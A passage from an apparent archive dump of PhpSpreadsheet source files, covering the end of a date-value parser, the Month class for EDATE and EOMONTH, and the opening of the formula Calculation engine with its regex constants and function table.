Denmark, Germany) $dateValue = str_replace(['/', '.', '-', ' '], ' ', $dateValue); $yearFound = false; $t1 = explode(' ', $dateValue); $t = ''; foreach ($t1 as &$t) { if ((is_numeric($t)) && ($t > 31)) { if ($yearFound) { return ExcelError::VALUE(); } if ($t < 100) { $t += 1900; } $yearFound = true; } } if (count($t1) === 1) { // We've been fed a time value without any date return ((!str_contains((string) $t, ':'))) ? ExcelError::Value() : 0.0; } unset($t); $dateValue = self::t1ToString($t1, $dti, $yearFound); $PHPDateArray = self::setUpArray($dateValue, $dti); return self::finalResults($PHPDateArray, $dti, $baseYear); } private static function t1ToString(array $t1, DateTimeImmutable $dti, bool $yearFound): string { if (count($t1) == 2) { // We only have two parts of the date: either day/month or month/year if ($yearFound) { array_unshift($t1, 1); } else { if (is_numeric($t1[1]) && $t1[1] > 29) { $t1[1] += 1900; array_unshift($t1, 1); } else { $t1[] = $dti->format('Y'); } } } $dateValue = implode(' ', $t1); return $dateValue; } /** * Parse date. */ private static function setUpArray(string $dateValue, DateTimeImmutable $dti): array { $PHPDateArray = Helpers::dateParse($dateValue); if (!Helpers::dateParseSucceeded($PHPDateArray)) { // If original count was 1, we've already returned. // If it was 2, we added another. // Therefore, neither of the first 2 stroks below can fail. $testVal1 = strtok($dateValue, '- '); $testVal2 = strtok('- '); $testVal3 = strtok('- ') ?: $dti->format('Y'); Helpers::adjustYear((string) $testVal1, (string) $testVal2, $testVal3); $PHPDateArray = Helpers::dateParse($testVal1 . '-' . $testVal2 . '-' . $testVal3); if (!Helpers::dateParseSucceeded($PHPDateArray)) { $PHPDateArray = Helpers::dateParse($testVal2 . '-' . $testVal1 . '-' . $testVal3); } } return $PHPDateArray; } /** * Final results. * * @return DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ private static function finalResults(array $PHPDateArray, DateTimeImmutable $dti, int $baseYear): string|float|int|DateTime { $retValue = ExcelError::Value(); if (Helpers::dateParseSucceeded($PHPDateArray)) { // Execute function Helpers::replaceIfEmpty($PHPDateArray['year'], $dti->format('Y')); if ($PHPDateArray['year'] < $baseYear) { return ExcelError::VALUE(); } Helpers::replaceIfEmpty($PHPDateArray['month'], $dti->format('m')); Helpers::replaceIfEmpty($PHPDateArray['day'], $dti->format('d')); $PHPDateArray['hour'] = 0; $PHPDateArray['minute'] = 0; $PHPDateArray['second'] = 0; $month = (int) $PHPDateArray['month']; $day = (int) $PHPDateArray['day']; $year = (int) $PHPDateArray['year']; if (!checkdate($month, $day, $year)) { return ($year === 1900 && $month === 2 && $day === 29) ? Helpers::returnIn3FormatsFloat(60.0) : ExcelError::VALUE(); } $retValue = Helpers::returnIn3FormatsArray($PHPDateArray, true); } return $retValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Month.php000064400000011257151676714400023766 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Month { use ArrayEnabled; /** * EDATE. * * Returns the serial number that represents the date that is the indicated number of months * before or after a specified date (the start_date). * Use EDATE to calculate maturity dates or due dates that fall on the same day of the month * as the date of issue. * * Excel Function: * EDATE(dateValue,adjustmentMonths) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|int $adjustmentMonths The number of months before or after start_date. * A positive value for months yields a future date; * a negative value yields a past date. * Or can be an array of adjustment values * * @return array|DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function adjust(mixed $dateValue, array|string|bool|float|int $adjustmentMonths): DateTime|float|int|string|array { if (is_array($dateValue) || is_array($adjustmentMonths)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $dateValue, $adjustmentMonths); } try { $dateValue = Helpers::getDateValue($dateValue, false); $adjustmentMonths = Helpers::validateNumericNull($adjustmentMonths); } catch (Exception $e) { return $e->getMessage(); } $dateValue = floor($dateValue); $adjustmentMonths = floor($adjustmentMonths); // Execute function $PHPDateObject = Helpers::adjustDateByMonths($dateValue, $adjustmentMonths); return Helpers::returnIn3FormatsObject($PHPDateObject); } /** * EOMONTH. * * Returns the date value for the last day of the month that is the indicated number of months * before or after start_date. * Use EOMONTH to calculate maturity dates or due dates that fall on the last day of the month. * * Excel Function: * EOMONTH(dateValue,adjustmentMonths) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|int $adjustmentMonths The number of months before or after start_date. * A positive value for months yields a future date; * a negative value yields a past date. * Or can be an array of adjustment values * * @return array|DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of values is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function lastDay(mixed $dateValue, array|float|int|bool|string $adjustmentMonths): array|string|DateTime|float|int { if (is_array($dateValue) || is_array($adjustmentMonths)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $dateValue, $adjustmentMonths); } try { $dateValue = Helpers::getDateValue($dateValue, false); $adjustmentMonths = Helpers::validateNumericNull($adjustmentMonths); } catch (Exception $e) { return $e->getMessage(); } $dateValue = floor($dateValue); $adjustmentMonths = floor($adjustmentMonths); // Execute function $PHPDateObject = Helpers::adjustDateByMonths($dateValue, $adjustmentMonths + 1); $adjustDays = (int) $PHPDateObject->format('d'); $adjustDaysString = '-' . $adjustDays . ' days'; $PHPDateObject->modify($adjustDaysString); return Helpers::returnIn3FormatsObject($PHPDateObject); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Calculation.php000064400000745174151676714400022476 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Engine\BranchPruner; use PhpOffice\PhpSpreadsheet\Calculation\Engine\CyclicReferenceStack; use PhpOffice\PhpSpreadsheet\Calculation\Engine\Logger; use PhpOffice\PhpSpreadsheet\Calculation\Engine\Operands; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Token\Stack; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\NamedRange; use PhpOffice\PhpSpreadsheet\ReferenceHelper; use PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use ReflectionClassConstant; use ReflectionMethod; use ReflectionParameter; use Throwable; class Calculation { /** Constants */ /** Regular Expressions */ // Numeric operand const CALCULATION_REGEXP_NUMBER = '[-+]?\d*\.?\d+(e[-+]?\d+)?'; // String operand const CALCULATION_REGEXP_STRING = '"(?:[^"]|"")*"'; // Opening bracket const CALCULATION_REGEXP_OPENBRACE = '\('; // Function (allow for the old @ symbol that could be used to prefix a function, but we'll ignore it) const CALCULATION_REGEXP_FUNCTION = '@?(?:_xlfn\.)?(?:_xlws\.)?([\p{L}][\p{L}\p{N}\.]*)[\s]*\('; // Strip xlfn and xlws prefixes from function name const CALCULATION_REGEXP_STRIP_XLFN_XLWS = '/(_xlfn[.])?(_xlws[.])?(?=[\p{L}][\p{L}\p{N}\.]*[\s]*[(])/'; // Cell reference (cell or range of cells, with or without a sheet reference) const CALCULATION_REGEXP_CELLREF = '((([^\s,!&%^\/\*\+<>=:`-]*)|(\'(?:[^\']|\'[^!])+?\')|(\"(?:[^\"]|\"[^!])+?\"))!)?\$?\b([a-z]{1,3})\$?(\d{1,7})(?![\w.])'; // Cell reference (with or without a sheet reference) ensuring absolute/relative const CALCULATION_REGEXP_CELLREF_RELATIVE = '((([^\s\(,!&%^\/\*\+<>=:`-]*)|(\'(?:[^\']|\'[^!])+?\')|(\"(?:[^\"]|\"[^!])+?\"))!)?(\$?\b[a-z]{1,3})(\$?\d{1,7})(?![\w.])'; const CALCULATION_REGEXP_COLUMN_RANGE = '(((([^\s\(,!&%^\/\*\+<>=:`-]*)|(\'(?:[^\']|\'[^!])+?\')|(\".(?:[^\"]|\"[^!])?\"))!)?(\$?[a-z]{1,3})):(?![.*])'; const CALCULATION_REGEXP_ROW_RANGE = '(((([^\s\(,!&%^\/\*\+<>=:`-]*)|(\'(?:[^\']|\'[^!])+?\')|(\"(?:[^\"]|\"[^!])+?\"))!)?(\$?[1-9][0-9]{0,6})):(?![.*])'; // Cell reference (with or without a sheet reference) ensuring absolute/relative // Cell ranges ensuring absolute/relative const CALCULATION_REGEXP_COLUMNRANGE_RELATIVE = '(\$?[a-z]{1,3}):(\$?[a-z]{1,3})'; const CALCULATION_REGEXP_ROWRANGE_RELATIVE = '(\$?\d{1,7}):(\$?\d{1,7})'; // Defined Names: Named Range of cells, or Named Formulae const CALCULATION_REGEXP_DEFINEDNAME = '((([^\s,!&%^\/\*\+<>=-]*)|(\'(?:[^\']|\'[^!])+?\')|(\"(?:[^\"]|\"[^!])+?\"))!)?([_\p{L}][_\p{L}\p{N}\.]*)'; // Structured Reference (Fully Qualified and Unqualified) const CALCULATION_REGEXP_STRUCTURED_REFERENCE = '([\p{L}_\\\\][\p{L}\p{N}\._]+)?(\[(?:[^\d\]+-])?)'; // Error const CALCULATION_REGEXP_ERROR = '\#[A-Z][A-Z0_\/]*[!\?]?'; /** constants */ const RETURN_ARRAY_AS_ERROR = 'error'; const RETURN_ARRAY_AS_VALUE = 'value'; const RETURN_ARRAY_AS_ARRAY = 'array'; const FORMULA_OPEN_FUNCTION_BRACE = '('; const FORMULA_CLOSE_FUNCTION_BRACE = ')'; const FORMULA_OPEN_MATRIX_BRACE = '{'; const FORMULA_CLOSE_MATRIX_BRACE = '}'; const FORMULA_STRING_QUOTE = '"'; private static string $returnArrayAsType = self::RETURN_ARRAY_AS_VALUE; /** * Instance of this class. * * @var ?Calculation */ private static ?Calculation $instance = null; /** * Instance of the spreadsheet this Calculation Engine is using. */ private ?Spreadsheet $spreadsheet; /** * Calculation cache. */ private array $calculationCache = []; /** * Calculation cache enabled. */ private bool $calculationCacheEnabled = true; private BranchPruner $branchPruner; private bool $branchPruningEnabled = true; /** * List of operators that can be used within formulae * The true/false value indicates whether it is a binary operator or a unary operator. */ private const CALCULATION_OPERATORS = [ '+' => true, '-' => true, '*' => true, '/' => true, '^' => true, '&' => true, '%' => false, '~' => false, '>' => true, '<' => true, '=' => true, '>=' => true, '<=' => true, '<>' => true, '∩' => true, '∪' => true, ':' => true, ]; /** * List of binary operators (those that expect two operands). */ private const BINARY_OPERATORS = [ '+' => true, '-' => true, '*' => true, '/' => true, '^' => true, '&' => true, '>' => true, '<' => true, '=' => true, '>=' => true, '<=' => true, '<>' => true, '∩' => true, '∪' => true, ':' => true, ]; /** * The debug log generated by the calculation engine. */ private Logger $debugLog; private bool $suppressFormulaErrorsNew = false; /** * Error message for any error that was raised/thrown by the calculation engine. */ public ?string $formulaError = null; /** * Reference Helper. */ private static ReferenceHelper $referenceHelper; /** * An array of the nested cell references accessed by the calculation engine, used for the debug log. */ private CyclicReferenceStack $cyclicReferenceStack; private array $cellStack = []; /** * Current iteration counter for cyclic formulae * If the value is 0 (or less) then cyclic formulae will throw an exception, * otherwise they will iterate to the limit defined here before returning a result. */ private int $cyclicFormulaCounter = 1; private string $cyclicFormulaCell = ''; /** * Number of iterations for cyclic formulae. */ public int $cyclicFormulaCount = 1; /** * The current locale setting. */ private static string $localeLanguage = 'en_us'; // US English (default locale) /** * List of available locale settings * Note that this is read for the locale subdirectory only when requested. * * @var string[] */ private static array $validLocaleLanguages = [ 'en', // English (default language) ]; /** * Locale-specific argument separator for function arguments. */ private static string $localeArgumentSeparator = ','; private static array $localeFunctions = []; /** * Locale-specific translations for Excel constants (True, False and Null). * * @var array<string, string> */ private static array $localeBoolean = [ 'TRUE' => 'TRUE', 'FALSE' => 'FALSE', 'NULL' => 'NULL', ]; public static function getLocaleBoolean(string $index): string { return self::$localeBoolean[$index]; } /** * Excel constant string translations to their PHP equivalents * Constant conversion from text name/value to actual (datatyped) value. * * @var array<string, null|bool> */ private static array $excelConstants = [ 'TRUE' => true, 'FALSE' => false, 'NULL' => null, ]; public static function keyInExcelConstants(string $key): bool { return array_key_exists($key, self::$excelConstants); } public static function getExcelConstants(string $key): bool|null { return self::$excelConstants[$key]; } /** * Array of functions usable on Spreadsheet. * In theory, this could be const rather than static; * however, Phpstan breaks trying to analyze it when attempted. */ private static array $phpSpreadsheetFunctions = [ 'ABS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Absolute::class, 'evaluate'], 'argumentCount' => '1', ], 'ACCRINT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\AccruedInterest::class, 'periodic'], 'argumentCount' => '4-8', ], 'ACCRINTM' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\AccruedInterest::class, 'atMaturity'], 'argumentCount' => '3-5', ], 'ACOS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cosine::class, 'acos'], 'argumentCount' => '1', ], 'ACOSH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cosine::class, 'acosh'], 'argumentCount' => '1', ], 'ACOT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cotangent::class, 'acot'], 'argumentCount' => '1', ], 'ACOTH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cotangent::class, 'acoth'], 'argumentCount' => '1', ], 'ADDRESS' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Address::class, 'cell'], 'argumentCount' => '2-5', ], 'AGGREGATE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3+', ], 'AMORDEGRC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Amortization::class, 'AMORDEGRC'], 'argumentCount' => '6,7', ], 'AMORLINC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Amortization::class, 'AMORLINC'], 'argumentCount' => '6,7', ], 'ANCHORARRAY' => [ 'category' => Category::CATEGORY_UNCATEGORISED, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'AND' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Operations::class, 'logicalAnd'], 'argumentCount' => '1+', ], 'ARABIC' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Arabic::class, 'evaluate'], 'argumentCount' => '1', ], 'AREAS' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'ARRAYTOTEXT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Text::class, 'fromArray'], 'argumentCount' => '1,2', ], 'ASC' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'ASIN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Sine::class, 'asin'], 'argumentCount' => '1', ], 'ASINH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Sine::class, 'asinh'], 'argumentCount' => '1', ], 'ATAN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Tangent::class, 'atan'], 'argumentCount' => '1', ], 'ATAN2' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Tangent::class, 'atan2'], 'argumentCount' => '2', ], 'ATANH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Tangent::class, 'atanh'], 'argumentCount' => '1', ], 'AVEDEV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages::class, 'averageDeviations'], 'argumentCount' => '1+', ], 'AVERAGE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages::class, 'average'], 'argumentCount' => '1+', ], 'AVERAGEA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages::class, 'averageA'], 'argumentCount' => '1+', ], 'AVERAGEIF' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Conditional::class, 'AVERAGEIF'], 'argumentCount' => '2,3', ], 'AVERAGEIFS' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Conditional::class, 'AVERAGEIFS'], 'argumentCount' => '3+', ], 'BAHTTEXT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1', ], 'BASE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Base::class, 'evaluate'], 'argumentCount' => '2,3', ], 'BESSELI' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BesselI::class, 'BESSELI'], 'argumentCount' => '2', ], 'BESSELJ' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BesselJ::class, 'BESSELJ'], 'argumentCount' => '2', ], 'BESSELK' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BesselK::class, 'BESSELK'], 'argumentCount' => '2', ], 'BESSELY' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BesselY::class, 'BESSELY'], 'argumentCount' => '2', ], 'BETADIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Beta::class, 'distribution'], 'argumentCount' => '3-5', ], 'BETA.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '4-6', ], 'BETAINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Beta::class, 'inverse'], 'argumentCount' => '3-5', ], 'BETA.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Beta::class, 'inverse'], 'argumentCount' => '3-5', ], 'BIN2DEC' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertBinary::class, 'toDecimal'], 'argumentCount' => '1', ], 'BIN2HEX' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertBinary::class, 'toHex'], 'argumentCount' => '1,2', ], 'BIN2OCT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertBinary::class, 'toOctal'], 'argumentCount' => '1,2', ], 'BINOMDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Binomial::class, 'distribution'], 'argumentCount' => '4', ], 'BINOM.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Binomial::class, 'distribution'], 'argumentCount' => '4', ], 'BINOM.DIST.RANGE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Binomial::class, 'range'], 'argumentCount' => '3,4', ], 'BINOM.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Binomial::class, 'inverse'], 'argumentCount' => '3', ], 'BITAND' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BitWise::class, 'BITAND'], 'argumentCount' => '2', ], 'BITOR' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BitWise::class, 'BITOR'], 'argumentCount' => '2', ], 'BITXOR' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BitWise::class, 'BITXOR'], 'argumentCount' => '2', ], 'BITLSHIFT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BitWise::class, 'BITLSHIFT'], 'argumentCount' => '2', ], 'BITRSHIFT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\BitWise::class, 'BITRSHIFT'], 'argumentCount' => '2', ], 'BYCOL' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'BYROW' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '*', ], 'CEILING' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Ceiling::class, 'ceiling'], 'argumentCount' => '1-2', // 2 for Excel, 1-2 for Ods/Gnumeric ], 'CEILING.MATH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Ceiling::class, 'math'], 'argumentCount' => '1-3', ], 'CEILING.PRECISE' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Ceiling::class, 'precise'], 'argumentCount' => '1,2', ], 'CELL' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1,2', ], 'CHAR' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\CharacterConvert::class, 'character'], 'argumentCount' => '1', ], 'CHIDIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'distributionRightTail'], 'argumentCount' => '2', ], 'CHISQ.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'distributionLeftTail'], 'argumentCount' => '3', ], 'CHISQ.DIST.RT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'distributionRightTail'], 'argumentCount' => '2', ], 'CHIINV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'inverseRightTail'], 'argumentCount' => '2', ], 'CHISQ.INV' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'inverseLeftTail'], 'argumentCount' => '2', ], 'CHISQ.INV.RT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'inverseRightTail'], 'argumentCount' => '2', ], 'CHITEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'test'], 'argumentCount' => '2', ], 'CHISQ.TEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\ChiSquared::class, 'test'], 'argumentCount' => '2', ], 'CHOOSE' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Selection::class, 'CHOOSE'], 'argumentCount' => '2+', ], 'CHOOSECOLS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2+', ], 'CHOOSEROWS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2+', ], 'CLEAN' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Trim::class, 'nonPrintable'], 'argumentCount' => '1', ], 'CODE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\CharacterConvert::class, 'code'], 'argumentCount' => '1', ], 'COLUMN' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\RowColumnInformation::class, 'COLUMN'], 'argumentCount' => '-1', 'passCellReference' => true, 'passByReference' => [true], ], 'COLUMNS' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\RowColumnInformation::class, 'COLUMNS'], 'argumentCount' => '1', ], 'COMBIN' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Combinations::class, 'withoutRepetition'], 'argumentCount' => '2', ], 'COMBINA' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Combinations::class, 'withRepetition'], 'argumentCount' => '2', ], 'COMPLEX' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\Complex::class, 'COMPLEX'], 'argumentCount' => '2,3', ], 'CONCAT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Concatenate::class, 'CONCATENATE'], 'argumentCount' => '1+', ], 'CONCATENATE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Concatenate::class, 'CONCATENATE'], 'argumentCount' => '1+', ], 'CONFIDENCE' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Confidence::class, 'CONFIDENCE'], 'argumentCount' => '3', ], 'CONFIDENCE.NORM' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Confidence::class, 'CONFIDENCE'], 'argumentCount' => '3', ], 'CONFIDENCE.T' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3', ], 'CONVERT' => [ 'category' => Category::CATEGORY_ENGINEERING, 'functionCall' => [Engineering\ConvertUOM::class, 'CONVERT'], 'argumentCount' => '3', ], 'CORREL' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'CORREL'], 'argumentCount' => '2', ], 'COS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cosine::class, 'cos'], 'argumentCount' => '1', ], 'COSH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cosine::class, 'cosh'], 'argumentCount' => '1', ], 'COT' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cotangent::class, 'cot'], 'argumentCount' => '1', ], 'COTH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cotangent::class, 'coth'], 'argumentCount' => '1', ], 'COUNT' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Counts::class, 'COUNT'], 'argumentCount' => '1+', ], 'COUNTA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Counts::class, 'COUNTA'], 'argumentCount' => '1+', ], 'COUNTBLANK' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Counts::class, 'COUNTBLANK'], 'argumentCount' => '1', ], 'COUNTIF' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Conditional::class, 'COUNTIF'], 'argumentCount' => '2', ], 'COUNTIFS' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Conditional::class, 'COUNTIFS'], 'argumentCount' => '2+', ], 'COUPDAYBS' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Coupons::class, 'COUPDAYBS'], 'argumentCount' => '3,4', ], 'COUPDAYS' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Coupons::class, 'COUPDAYS'], 'argumentCount' => '3,4', ], 'COUPDAYSNC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Coupons::class, 'COUPDAYSNC'], 'argumentCount' => '3,4', ], 'COUPNCD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Coupons::class, 'COUPNCD'], 'argumentCount' => '3,4', ], 'COUPNUM' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Coupons::class, 'COUPNUM'], 'argumentCount' => '3,4', ], 'COUPPCD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Coupons::class, 'COUPPCD'], 'argumentCount' => '3,4', ], 'COVAR' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'COVAR'], 'argumentCount' => '2', ], 'COVARIANCE.P' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'COVAR'], 'argumentCount' => '2', ], 'COVARIANCE.S' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2', ], 'CRITBINOM' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Binomial::class, 'inverse'], 'argumentCount' => '3', ], 'CSC' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cosecant::class, 'csc'], 'argumentCount' => '1', ], 'CSCH' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trig\Cosecant::class, 'csch'], 'argumentCount' => '1', ], 'CUBEKPIMEMBER' => [ 'category' => Category::CATEGORY_CUBE, 'functionCall' => [Functions::class, 'DUMMY'], 